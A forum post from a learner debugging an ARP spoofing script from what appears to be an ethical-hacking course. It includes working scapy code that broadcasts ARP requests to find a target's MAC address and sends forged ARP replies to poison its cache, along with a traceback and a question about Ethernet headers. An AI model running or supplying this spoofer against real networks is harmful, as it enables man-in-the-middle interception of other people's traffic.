Hi.

I was following the ARP spoofer lesson and I am having an error related with the MAC address capturing:

Traceback (most recent call last):
File “arp_spoofing.py”, line 53, in <module>
spoof(ip_target,ip_spoof)
File “arp_spoofing.py”, line 35, in spoof
mac_target = get_mac(ip_target)
File “arp_spoofing.py”, line 32, in get_mac
return answered_list[0][1].hwsrc
File “/usr/lib/python2.7/dist-packages/scapy/plist.py”, line 118, in __getitem__
return self.res.__getitem__(item)
IndexError: list index out of range

As I understand, for some reason, sometimes is not getting the MAC address response. How to resolve this problem ( I am adding the code I am using below)?

def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst=”ff:ff:ff:ff:ff:ff”)
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False) [0]
return answered_list[0][1].hwsrc

def spoof(ip_target,ip_spoof):
mac_target = get_mac(ip_target)
packet = scapy.ARP(op=2, hwdst=mac_target, pdst=ip_target, psrc=ip_spoof)
scapy.send(packet, verbose=False)

Furthermore, as an alternative I am using the following code using if statements for keeping the code running; this way ARP poisoning is working, however, I am loosing some packets.

def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst=”ff:ff:ff:ff:ff:ff”)
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False) [0]
if answered_list:
return answered_list[0][1].hwsrc

def spoof(ip_target,ip_spoof):
mac_target = get_mac(ip_target)
if not mac_target:
print(“\n[-] Warning … No MAC found, packet was not send”)
else:
packet = scapy.ARP(op=2, hwdst=mac_target, pdst=ip_target, psrc=ip_spoof)
scapy.send(packet, verbose=False)

OUTPUT:
[+] Sending packet: 16
[-] Warning … No MAC found, packet was not send
[+] Sending packet: 18
[-] Warning … No MAC found, packet was not send
[+] Sending packet: 26
[-] Warning … No MAC found, packet was not send
[+] Sending packet: 28

Finally, I have an extra question. When we sent the ARP request it was necessary to explicitly configure the Ethernet header using scapy and concatenate it with the ARP request. Why is not necessary configuring the ethernet header when we are sending the ARP response? is it done automatically by scapy.send(packet)?